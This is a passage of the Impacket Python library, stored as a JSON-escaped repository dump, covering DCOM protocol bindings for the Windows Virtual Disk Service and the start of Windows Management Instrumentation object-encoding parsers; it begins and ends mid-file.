    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-VDS]: Virtual Disk Service (VDS) Protocol\n#             This was used as a way to test the DCOM runtime. Further\n#             testing is needed to verify it is working as expected\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Since DCOM is like an OO RPC, instead of helper functions you will see the\n#   classes described in the standards developed.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM\nfrom impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE\nfrom impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket import hresult_errors\nfrom impacket.uuid import string_to_bin\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        if self.error_code in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] \n            return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code)\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 1.9 Standards Assignments\nCLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575')\nIID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E')\nIID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25')\nIID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC')\nIID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69')\nIID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E')\nIID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8')\nIID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42')\n\nerror_status_t = ULONG\n\n# 2.2.1.1.3 VDS_OBJECT_ID\nVDS_OBJECT_ID = GUID\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.2.1.3.1 VDS_SERVICE_PROP\nclass VDS_SERVICE_PROP(NDRSTRUCT):\n    structure = (\n        ('pwszVersion',LPWSTR),\n        ('ulFlags',ULONG),\n    )\n\nclass OBJECT_ARRAY(NDRUniConformantVaryingArray):\n    item = PMInterfacePointer\n\n# 2.2.2.7.1.1 VDS_PROVIDER_TYPE\nclass VDS_PROVIDER_TYPE(NDRENUM):\n    class enumItems(Enum):\n        VDS_PT_UNKNOWN     = 0\n        VDS_PT_SOFTWARE    = 1\n        VDS_PT_HARDWARE    = 2\n        VDS_PT_VIRTUALDISK = 3\n        VDS_PT_MAX         = 4\n\n# 2.2.2.7.2.1 VDS_PROVIDER_PROP\nclass VDS_PROVIDER_PROP(NDRSTRUCT):\n    structure = (\n        ('id',VDS_OBJECT_ID),\n        ('pwszName',LPWSTR),\n        ('guidVersionId',GUID),\n        ('pwszVersion',LPWSTR),\n        ('type',VDS_PROVIDER_TYPE),\n        ('ulFlags',ULONG),\n        ('ulStripeSizeFlags',ULONG),\n        ('sRebuildPriority',SHORT),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3)\nclass IVdsServiceInitialization_Initialize(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('pwszMachineName', LPWSTR),\n    )\n\nclass IVdsServiceInitialization_InitializeResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3)\nclass IVdsService_IsServiceReady(DCOMCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass IVdsService_IsServiceReadyResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4)\nclass IVdsService_WaitForServiceReady(DCOMCALL):\n    opnum = 4\n    structure = (\n    )\n\nclass IVdsService_WaitForServiceReadyResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5)\nclass IVdsService_GetProperties(DCOMCALL):\n    opnum = 5\n    structure = (\n    )\n\nclass IVdsService_GetPropertiesResponse(DCOMANSWER):\n    structure = (\n       ('pServiceProp', VDS_SERVICE_PROP),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6)\nclass IVdsService_QueryProviders(DCOMCALL):\n    opnum = 6\n    structure = (\n        ('masks', DWORD),\n    )\n\nclass IVdsService_QueryProvidersResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.1.1 IEnumVdsObject Interface\n# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3)\nclass IEnumVdsObject_Next(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('celt', ULONG),\n    )\n\nclass IEnumVdsObject_NextResponse(DCOMANSWER):\n    structure = (\n       ('ppObjectArray', OBJECT_ARRAY),\n       ('pcFetched', ULONG),\n       ('ErrorCode', error_status_t),\n    )\n# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3)\nclass IVdsProvider_GetProperties(DCOMCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass IVdsProvider_GetPropertiesResponse(DCOMANSWER):\n    structure = (\n       ('pProviderProp', VDS_PROVIDER_PROP),\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n}\n\n################################################################################\n# HELPER FUNCTIONS AND INTERFACES\n################################################################################\nclass IEnumVdsObject(IRemUnknown2):\n    def Next(self, celt=0xffff):\n        request = IEnumVdsObject_Next()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['celt'] = celt\n        try:\n            resp = self.request(request, uuid = self.get_iPid())\n        except Exception as e:\n            resp = e.get_packet()\n            # If it is S_FALSE(1) means less items were returned\n            if resp['ErrorCode'] != 1:\n                raise\n        interfaces = list()\n        for interface in resp['ppObjectArray']:\n            interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))\n        return interfaces\n\nclass IVdsProvider(IRemUnknown2):\n    def GetProperties(self):\n        request = IVdsProvider_GetProperties()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp \n\nclass IVdsServiceInitialization(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self, interface)\n\n    def Initialize(self):\n        request = IVdsServiceInitialization_Initialize()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['pwszMachineName'] = '\\x00'\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp \n\nclass IVdsService(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self, interface)\n\n    def IsServiceReady(self):\n        request = IVdsService_IsServiceReady()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        try:\n            resp = self.request(request, uuid = self.get_iPid())\n        except Exception as e:\n            resp = e.get_packet()\n        return resp \n\n    def WaitForServiceReady(self):\n        request = IVdsService_WaitForServiceReady()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp \n\n    def GetProperties(self):\n        request = IVdsService_GetProperties()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp \n\n    def QueryProviders(self, masks):\n        request = IVdsService_QueryProviders()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['masks'] = masks\n        resp = self.request(request, uuid = self.get_iPid())\n        return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcom/wmi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Since DCOM is like an OO RPC, instead of helper functions you will see the\n#   classes described in the standards developed.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom struct import unpack, calcsize, pack\nfrom functools import partial\nimport collections\nimport collections.abc\nimport logging\nimport six\nfrom collections import OrderedDict\n\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \\\n    NDRENUM\nfrom impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown, PMInterfacePointer, INTERFACE, \\\n    PMInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer, OBJREF_CUSTOM\nfrom impacket.dcerpc.v5.dcom.oaut import BSTR\nfrom impacket.dcerpc.v5.dtypes import ULONG, DWORD, NULL, LPWSTR, LONG, HRESULT, PGUID, LPCSTR, GUID\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import hresult_errors, LOG\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin\nfrom impacket.structure import Structure, hexdump\n\n\ndef format_structure(d, level=0):\n    x = \"\"\n    if isinstance(d, collections.abc.Mapping):\n        lenk = max([len(str(x)) for x in list(d.keys())])\n        for k, v in list(d.items()):\n            key_text = \"\\n\" + \" \"*level + \" \"*(lenk - len(str(k))) + str(k)\n            x += key_text + \": \" + format_structure(v, level=level+lenk)\n    elif isinstance(d, collections.abc.Iterable) and not isinstance(d, str):\n        for e in d:\n            x += \"\\n\" + \" \"*level + \"- \" + format_structure(e, level=level+4)\n    else:\n        x = str(d)\n    return x\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        if self.error_code in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] \n            return 'WMI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            # Let's see if we have it as WBEMSTATUS\n            try:\n                return 'WMI Session Error: code: 0x%x - %s' % (self.error_code, WBEMSTATUS.enumItems(self.error_code).name)\n            except:\n                return 'WMI SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# WMIO Structures and Constants\n################################################################################\nWBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE      = 0x01\nWBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS = 0x02\nWBEM_FLAVOR_NOT_OVERRIDABLE                = 0x10\nWBEM_FLAVOR_ORIGIN_PROPAGATED              = 0x20\nWBEM_FLAVOR_ORIGIN_SYSTEM                  = 0x40\nWBEM_FLAVOR_AMENDED                        = 0x80\n\n\n# 2.2.6 ObjectFlags\nOBJECT_FLAGS = 'B=0'\nCIM_CLASS      = 0x01\nCIM_INSTANCE   = 0x02\nCIM_DECORATION = 0x04\n\n#2.2.77 Signature\nSIGNATURE = '<L=0x12345678'\n\n# 2.2.4 ObjectEncodingLength\nOBJECT_ENCODING_LENGTH = '<L=0'\n\n# 2.2.73 EncodingLength\nENCODING_LENGTH = '<L=0'\n\n# 2.2.78 Encoded-String\nENCODED_STRING_FLAG = 'B=0'\n\n# 2.2.76 ReservedOctet\nRESERVED_OCTET = 'B=0'\n\n# 2.2.28 NdTableValueTableLength\nNDTABLE_VALUE_TABLE_LENGTH = '<L=0'\n\n# 2.2.80 DictionaryReference\nDICTIONARY_REFERENCE = {\n    0 : '\"',\n    1 : 'key',\n    2 : 'NADA',\n    3 : 'read',\n    4 : 'write',\n    5 : 'volatile',\n    6 : 'provider',\n    7 : 'dynamic',\n    8 : 'cimwin32',\n    9 : 'DWORD',\n   10 : 'CIMTYPE',\n}\n\nDICTIONARY_REFERENCE_TO_VALUE = {\n    '\"'       : 0 ,\n    'key'     : 1 ,\n    'NADA'    : 2 ,\n    'read'    : 3 ,\n    'write'   : 4 ,\n    'volatile': 5 ,\n    'provider': 6 ,\n    'dynamic' : 7 ,\n    'cimwin32': 8 ,\n    'DWORD'   : 9 ,\n    'CIMTYPE' : 10,\n}\n\nclass ENCODED_STRING(Structure):\n    commonHdr = (\n        ('Encoded_String_Flag', ENCODED_STRING_FLAG),\n    )\n\n    tascii = (\n        ('Character', 'z'),\n    )\n\n    tunicode = (\n        ('Character', 'u'),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is not None:\n            # Let's first check the commonHdr\n            self.fromString(data)\n            self.structure = ()\n            self.isUnicode = False\n            if len(data) > 1:\n                if self['Encoded_String_Flag'] == 0:\n                    self.structure += self.tascii\n                    # Let's search for the end of the string\n                    index = data[1:].find(b'\\x00')\n                    data  = data[:index+1+1]\n                else:\n                    self.structure = self.tunicode\n                    self.isUnicode = True\n\n                self.fromString(data)\n        else:\n            self.structure = self.tascii\n            self.data = None\n\n    def __getitem__(self, key):\n        if key == 'Character' and self.isUnicode:\n            return self.fields['Character'].decode('utf-16le')\n        return Structure.__getitem__(self, key)\n\n\n# 2.2.8 DecServerName\nDEC_SERVER_NAME = ENCODED_STRING\n\n# 2.2.9 DecNamespaceName\nDEC_NAMESPACE_NAME = ENCODED_STRING\n\n# 2.2.7 Decoration\nclass DECORATION(Structure):\n    structure = (\n        ('DecServerName', ':', DEC_SERVER_NAME),\n        ('DecNamespaceName', ':', DEC_NAMESPACE_NAME),\n    )\n\n# 2.2.69 HeapRef\nHEAPREF = '<L=0'\n\n# 2.2.68 HeapStringRef\nHEAP_STRING_REF = HEAPREF\n\n# 2.2.19 ClassNameRef\nCLASS_NAME_REF = HEAP_STRING_REF\n\n# 2.2.16 ClassHeader\nclass CLASS_HEADER(Structure):\n    structure = (\n        ('EncodingLength', ENCODING_LENGTH),\n        ('ReservedOctet', RESERVED_OCTET),\n        ('ClassNameRef', CLASS_NAME_REF),\n        ('NdTableValueTableLength', NDTABLE_VALUE_TABLE_LENGTH),\n    )\n\n# 2.2.17 DerivationList\nclass DERIVATION_LIST(Structure):\n    structure = (\n        ('EncodingLength', ENCODING_LENGTH),\n        ('_ClassNameEncoding','_-ClassNameEncoding', 'self[\"EncodingLength\"]-4'),\n        ('ClassNameEncoding', ':'),\n    )\n\n# 2.2.82 CimType\nCIM_TYPE = '<L=0'\nCIM_ARRAY_FLAG = 0x2000\n\nclass EnumType(type):\n    def __getattr__(self, attr):\n        return self.enumItems[attr].value\n\nclass CIM_TYPE_ENUM(Enum):\n#    __metaclass__ = EnumType\n    CIM_TYPE_SINT8      = 16\n    CIM_TYPE_UINT8      = 17\n    CIM_TYPE_SINT16     = 2\n    CIM_TYPE_UINT16     = 18\n    CIM_TYPE_SINT32     = 3\n    CIM_TYPE_UINT32     = 19\n    CIM_TYPE_SINT64     = 20\n    CIM_TYPE_UINT64     = 21\n    CIM_TYPE_REAL32     = 4\n    CIM_TYPE_REAL64     = 5\n    CIM_TYPE_BOOLEAN    = 11\n    CIM_TYPE_STRING     = 8\n    CIM_TYPE_DATETIME   = 101\n    CIM_TYPE_REFERENCE  = 102\n    CIM_TYPE_CHAR16     = 103\n    CIM_TYPE_OBJECT     = 13\n    CIM_ARRAY_SINT8     = 8208\n    CIM_ARRAY_UINT8     = 8209\n    CIM_ARRAY_SINT16    = 8194\n    CIM_ARRAY_UINT16    = 8210\n    CIM_ARRAY_SINT32    = 8195\n    CIM_ARRAY_UINT32    = 8201\n    CIM_ARRAY_SINT64    = 8202\n    CIM_ARRAY_UINT64    = 8203\n    CIM_ARRAY_REAL32    = 8196\n    CIM_ARRAY_REAL64    = 8197\n    CIM_ARRAY_BOOLEAN   = 8203\n    CIM_ARRAY_STRING    = 8200\n    CIM_ARRAY_DATETIME  = 8293\n    CIM_ARRAY_REFERENCE = 8294\n    CIM_ARRAY_CHAR16    = 8295\n    CIM_ARRAY_OBJECT    = 8205\n\nCIM_TYPES_REF = {\n    CIM_TYPE_ENUM.CIM_TYPE_SINT8.value    : 'b=0',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT8.value    : 'B=0',\n    CIM_TYPE_ENUM.CIM_TYPE_SINT16.value   : '<h=0',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT16.value   : '<H=0',\n    CIM_TYPE_ENUM.CIM_TYPE_SINT32.value   : '<l=0',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT32.value   : '<L=0',\n    CIM_TYPE_ENUM.CIM_TYPE_SINT64.value   : '<q=0',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT64.value   : '<Q=0',\n    CIM_TYPE_ENUM.CIM_TYPE_REAL32.value   : '<f=0',\n    CIM_TYPE_ENUM.CIM_TYPE_REAL64.value   : '<d=0',\n    CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value  : '<H=0',\n    CIM_TYPE_ENUM.CIM_TYPE_STRING.value   : HEAPREF,\n    CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value : HEAPREF,\n    CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value: HEAPREF,\n    CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value   : '<H=0',\n    CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value   : HEAPREF,\n}\n\nCIM_TYPE_TO_NAME = {\n    CIM_TYPE_ENUM.CIM_TYPE_SINT8.value    : 'sint8',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT8.value    : 'uint8',\n    CIM_TYPE_ENUM.CIM_TYPE_SINT16.value   : 'sint16',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT16.value   : 'uint16',\n    CIM_TYPE_ENUM.CIM_TYPE_SINT32.value   : 'sint32',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT32.value   : 'uint32',\n    CIM_TYPE_ENUM.CIM_TYPE_SINT64.value   : 'sint64',\n    CIM_TYPE_ENUM.CIM_TYPE_UINT64.value   : 'uint64',\n    CIM_TYPE_ENUM.CIM_TYPE_REAL32.value   : 'real32',\n    CIM_TYPE_ENUM.CIM_TYPE_REAL64.value   : 'real64',\n    CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value  : 'bool',\n    CIM_TYPE_ENUM.CIM_TYPE_STRING.value   : 'string',\n    CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value : 'datetime',\n    CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value: 'reference',\n    CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value   : 'char16',\n    CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value   : 'object',\n}\n\nCIM_NUMBER_TYPES = (\n    CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value, CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value,\n    CIM_TYPE_ENUM.CIM_TYPE_SINT8.value, CIM_TYPE_ENUM.CIM_TYPE_UINT8.value,\n    CIM_TYPE_ENUM.CIM_TYPE_SINT16.value, CIM_TYPE_ENUM.CIM_TYPE_UINT16.value,\n    CIM_TYPE_ENUM.CIM_TYPE_SINT32.value, CIM_TYPE_ENUM.CIM_TYPE_UINT32.value,\n    CIM_TYPE_ENUM.CIM_TYPE_SINT64.value, CIM_TYPE_ENUM.CIM_TYPE_UINT64.value,\n    CIM_TYPE_ENUM.CIM_TYPE_REAL32.value, CIM_TYPE_ENUM.CIM_TYPE_REAL64.value,\n)\n\n# 2.2.61 QualifierName\nQUALIFIER_NAME = HEAP_STRING_REF\n\n# 2.2.62 QualifierFlavor\nQUALIFIER_FLAVOR = 'B=0'\n\n# 2.2.63 QualifierType\nQUALIFIER_TYPE = CIM_TYPE\n\n# 2.2.71 EncodedValue\nclass ENCODED_VALUE(Structure):\n    structure = (\n        ('QualifierName', QUALIFIER_NAME),\n    )\n\n    @classmethod\n    def getValue(cls, cimType, entry, heap):\n        # Let's get the default Values\n        pType = cimType & (~(CIM_ARRAY_FLAG|Inherited))\n        cimType = cimType & (~Inherited)\n        if entry != 0xffffffff:\n            heapData = heap[entry:]\n            if cimType & CIM_ARRAY_FLAG:\n                # We have an array, let's set the right unpackStr and dataSize for the array contents\n                dataSize = calcsize(HEAPREF[:-2])\n                numItems = unpack(HEAPREF[:-2], heapData[:dataSize])[0]\n                heapData = heapData[dataSize:]\n                array = list()\n                unpackStrArray =  CIM_TYPES_REF[pType][:-2]\n                dataSizeArray = calcsize(unpackStrArray)\n                if cimType == CIM_TYPE_ENUM.CIM_ARRAY_STRING.value:\n                    # We have an array of strings\n                    # First items are DWORDs with the string pointers\n                    # inside the heap. We don't need those ones\n                    heapData = heapData[4*numItems:]\n                    # Let's now grab the strings\n                    for _ in range(numItems):\n                        item = ENCODED_STRING(heapData)\n                        array.append(item['Character'])\n                        heapData = heapData[len(item.getData()):]\n                elif cimType == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value:\n                    # Discard the pointers\n                    heapData = heapData[dataSize*numItems:]\n                    for item in range(numItems):\n                        msb = METHOD_SIGNATURE_BLOCK(heapData)\n                        unit = ENCODING_UNIT()\n                        unit['ObjectEncodingLength'] = msb['EncodingLength']\n                        unit['ObjectBlock'] = msb['ObjectBlock']\n                        array.append(unit)\n                        heapData = heapData[msb['EncodingLength']+4:]\n                else:\n                    for item in range(numItems):\n                        # ToDo: Learn to unpack the rest of the array of things\n                        array.append(unpack(unpackStrArray, heapData[:dataSizeArray])[0])\n                        heapData = heapData[dataSizeArray:]\n                value = array\n            elif pType == CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value:\n                if entry == 0xffff:\n                    value = 'True'\n                else:\n                    value = 'False'\n            elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                # If the value type is CIM-TYPE-OBJECT, the EncodedValue is a HeapRef to the object encoded as an\n                # ObjectEncodingLength (section 2.2.4) followed by an ObjectBlock (section 2.2.5).\n\n                # ToDo: This is a hack.. We should parse this better. We need to have an ENCODING_UNIT.\n                # I'm going through a METHOD_SIGNATURE_BLOCK first just to parse the ObjectBlock\n                msb = METHOD_SIGNATURE_BLOCK(heapData)\n                unit = ENCODING_UNIT()\n                unit['ObjectEncodingLength'] = msb['EncodingLength']\n                unit['ObjectBlock'] = msb['ObjectBlock']\n                value = unit\n            elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,\n                               CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value):\n                value = entry\n            else:\n                try:\n                    value = ENCODED_STRING(heapData)['Character']\n                except UnicodeDecodeError:\n                    if logging.getLogger().level == logging.DEBUG:\n                        LOG.debug('Unicode Error: dumping heapData')\n                        hexdump(heapData)\n                    raise\n\n            return value\n\n# 2.2.64 QualifierValue\nQUALIFIER_VALUE = ENCODED_VALUE\n\n# 2.2.60 Qualifier\nclass QUALIFIER(Structure):\n    commonHdr = (\n        ('QualifierName', QUALIFIER_NAME),\n        ('QualifierFlavor', QUALIFIER_FLAVOR),\n        ('QualifierType', QUALIFIER_TYPE),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is not None:\n            # Let's first check the commonHdr\n            self.fromString(data)\n            self.structure = (('QualifierValue', CIM_TYPES_REF[self[\"QualifierType\"] & (~CIM_ARRAY_FLAG)]),)\n            self.fromString(data)\n        else:\n            self.data = None\n\n# 2.2.59 QualifierSet\nclass QUALIFIER_SET(Structure):\n    structure = (\n        ('EncodingLength', ENCODING_LENGTH),\n        ('_Qualifier','_-Qualifier', 'self[\"EncodingLength\"]-4'),\n        ('Qualifier', ':'),\n    )\n\n    def getQualifiers(self, heap):\n        data = self['Qualifier']\n        qualifiers = dict()\n        while len(data) > 0:\n            itemn = QUALIFIER(data)\n            if itemn['QualifierName'] == 0xffffffff:\n                qName = b''\n            elif itemn['QualifierName'] & 0x80000000:\n                qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff]\n            else:\n                qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character']\n\n            value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap)\n            qualifiers[qName] = value\n            data = data[len(itemn):]\n\n        return qualifiers\n \n# 2.2.20 ClassQualifierSet\nCLASS_QUALIFIER_SET = QUALIFIER_SET\n\n# 2.2.22 PropertyCount\nPROPERTY_COUNT = '<L=0'\n\n# 2.2.24 PropertyNameRef\nPROPERTY_NAME_REF = HEAP_STRING_REF\n\n# 2.2.25 PropertyInfoRef\nPROPERTY_INFO_REF = HEAPREF\n\n# 2.2.23 PropertyLookup\nclass PropertyLookup(Structure):\n    structure = (\n        ('PropertyNameRef', PROPERTY_NAME_REF),\n        ('PropertyInfoRef', PROPERTY_INFO_REF),\n    )\n\n# 2.2.31 PropertyType\nPROPERTY_TYPE = '<L=0'\n\n# 2.2.33 DeclarationOrder\nDECLARATION_ORDER = '<H=0'\n\n# 2.2.34 ValueTableOffset\nVALUE_TABLE_OFFSET = '<L=0'\n\n# 2.2.35 ClassOfOrigin\nCLASS_OF_ORIGIN = '<L=0'\n\n# 2.2.36 PropertyQualifierSet\nPROPERTY_QUALIFIER_SET = QUALIFIER_SET\n\n# 2.2.30 PropertyInfo\nclass PROPERTY_INFO(Structure):\n    structure = (\n        ('PropertyType', PROPERTY_TYPE),\n        ('DeclarationOrder', DECLARATION_ORDER),\n        ('ValueTableOffset', VALUE_TABLE_OFFSET),\n        ('ClassOfOrigin', CLASS_OF_ORIGIN),\n        ('PropertyQualifierSet', ':', PROPERTY_QUALIFIER_SET),\n    )\n\n# 2.2.32 Inherited\nInherited = 0x4000\n\n# 2.2.21 PropertyLookupTable\nclass PROPERTY_LOOKUP_TABLE(Structure):\n    PropertyLookupSize = len(PropertyLookup())\n    structure = (\n        ('PropertyCount', PROPERTY_COUNT),\n        ('_PropertyLookup','_-PropertyLookup', 'self[\"PropertyCount\"]*self.PropertyLookupSize'),\n        ('PropertyLookup', ':'),\n    )\n\n    def getProperties(self, heap):\n        propTable = self['PropertyLookup']\n        properties = dict()\n        for property in range(self['PropertyCount']):\n            propItemDict = dict()\n            propItem = PropertyLookup(propTable)\n            if propItem['PropertyNameRef'] & 0x80000000:\n                propName = DICTIONARY_REFERENCE[propItem['PropertyNameRef'] & 0x7fffffff]\n            else:\n                propName = ENCODED_STRING(heap[propItem['PropertyNameRef']:])['Character']\n            propInfo = PROPERTY_INFO(heap[propItem['PropertyInfoRef']:])\n            pType = propInfo['PropertyType']\n            pType &= (~CIM_ARRAY_FLAG)\n            pType &= (~Inherited)\n            sType = CIM_TYPE_TO_NAME[pType]\n \n            propItemDict['stype'] = sType\n            propItemDict['name'] = propName\n            propItemDict['type'] = propInfo['PropertyType']\n            propItemDict['order'] = propInfo['DeclarationOrder']\n            propItemDict['inherited'] = propInfo['PropertyType'] & Inherited\n            propItemDict['value'] = None\n\n            qualifiers = dict() \n            qualifiersBuf = propInfo['PropertyQualifierSet']['Qualifier']\n            while len(qualifiersBuf) > 0:\n                record = QUALIFIER(qualifiersBuf)\n                if record['QualifierName'] & 0x80000000:\n                    qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff]\n                else:\n                    qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character']\n                qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap)\n                qualifiersBuf = qualifiersBuf[len(record):]\n                qualifiers[qualifierName] = qualifierValue\n\n            propItemDict['qualifiers'] = qualifiers\n            properties[propName] = propItemDict\n\n            propTable = propTable[self.PropertyLookupSize:]\n\n        return OrderedDict(sorted(list(properties.items()), key=lambda x:x[1]['order']))\n        #return properties\n\n# 2.2.66 Heap\nHEAP_LENGTH = '<L=0'\n\nclass HEAP(Structure):\n    structure = (\n        ('HeapLength', HEAP_LENGTH),\n        # HeapLength is a 32-bit value with 